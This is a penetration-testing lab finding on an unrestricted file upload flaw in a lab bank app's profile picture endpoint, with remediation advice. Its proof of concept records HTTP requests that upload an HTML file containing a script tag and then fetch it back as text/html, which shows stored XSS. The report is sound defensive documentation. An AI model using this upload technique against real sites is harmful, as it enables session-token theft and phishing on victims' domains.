Back to the index

LAB FAIL

Unrestricted File Upload - Profile Picture - File Type Validation

Unrestricted File Upload — Profile Picture — File Type Validation

CWE-434: Unrestricted Upload of File with Dangerous Type · OWASP A04:2021 - Insecure Design

Vulnerability

[FAIL] Unrestricted File Upload - Profile Picture - File Type Validation

Description

The /upload_profile_picture endpoint stores any file without validating extension, content-type, or magic bytes, and without a size limit. Files are stored in static/uploads, which the server serves directly, and Flask sets Content-Type based on the file extension.

Impact

Confidentiality + Integrity (High): an attacker can upload an HTML document containing JavaScript and access it on the application origin with a Content-Type of text/html, so the script executes as part of the site. This gives the attacker stored XSS on the application origin, which can be used to steal session tokens from victims who open the link, and it turns the bank's domain into a host for phishing pages.

CWE

CWE-434: Unrestricted Upload of File with Dangerous Type

OWASP

A04:2021 - Insecure Design

Scenario

Normal: a PNG image is uploaded as a profile picture -> expected and accepted. Exploitation: a payload.html file containing a script tag is uploaded through the same endpoint -> accepted without rejection. Impact: the file is retrieved over HTTP and served with Content-Type text/html containing the full script, so it executes on the application origin.

Endpoint

POST http://127.0.0.1:5001/upload_profile_picture

Affected feature

Profile picture upload

Remediation

- Apply an extension allow-list and verify magic bytes; reject anything other than permitted image formats, and re-encode the image. - Store uploaded files outside the web root and serve them through a handler that sets a safe Content-Type and Content-Disposition attachment. - Serve user content from a separate domain without session cookies. - Apply a file size limit and use fully random names.

Proof of concept

  1. (Screenshot 1) NORMAL: upload a PNG image file as a profile picture -> accepted.
  2. (Screenshot 2) EXPLOITATION: upload payload.html containing a script tag through the same endpoint -> accepted without type validation.
  3. (Screenshot 3) CIA IMPACT: the file is accessed via HTTP -> served with Content-Type text/html containing the full script, executing on the application origin.

The complete record

LAB All targets are lab systems. Nothing here is a client engagement. Evidence is shown as recorded; secrets are blacked out.

HTTP request
POST /upload_profile_picture HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 222
Content-Type: multipart/form-data; boundary=6e1c16ecc8818d6543fc29ca3d550dce

--6e1c16ecc8818d6543fc29ca3d550dce
Content-Disposition: form-data; name="profile_picture"; filename="avatar.png"
Content-Type: image/png

�PNG


--6e1c16ecc8818d6543fc29ca3d550dce--
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 133
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:23 GMT

{
  "file_path": "static/uploads/601907_avatar.png",
  "message": "Profile picture uploaded successfully",
  "status": "success"
}
Screenshot
HTTP request
POST /upload_profile_picture HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Length: 223
Content-Type: multipart/form-data; boundary=4ac606e2c5cac9f777611c0fbd6e295f

--4ac606e2c5cac9f777611c0fbd6e295f
Content-Disposition: form-data; name="profile_picture"; filename="payload.html"
Content-Type: text/html

<script>alert(document.domain)</script>
--4ac606e2c5cac9f777611c0fbd6e295f--
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 135
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:24 GMT

{
  "file_path": "static/uploads/966073_payload.html",
  "message": "Profile picture uploaded successfully",
  "status": "success"
}
Screenshot
HTTP request
GET /static/uploads/966073_payload.html HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive

HTTP response
HTTP/1.1 200 OK
Content-Disposition: inline; filename=966073_payload.html
Content-Type: text/html; charset=utf-8
Content-Length: 39
Last-Modified: Wed, 30 Sep 2026 03:02:24 GMT
Cache-Control: no-cache
Date: Wed, 30 Sep 2026 03:02:25 GMT
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25

<script>alert(document.domain)</script>
Screenshot

← Previous case: Stored Cross-Site Scripting - User Profile - Bio Field Next case: Unrestricted Resource Consumption - Authentication - Login Rate Limiting →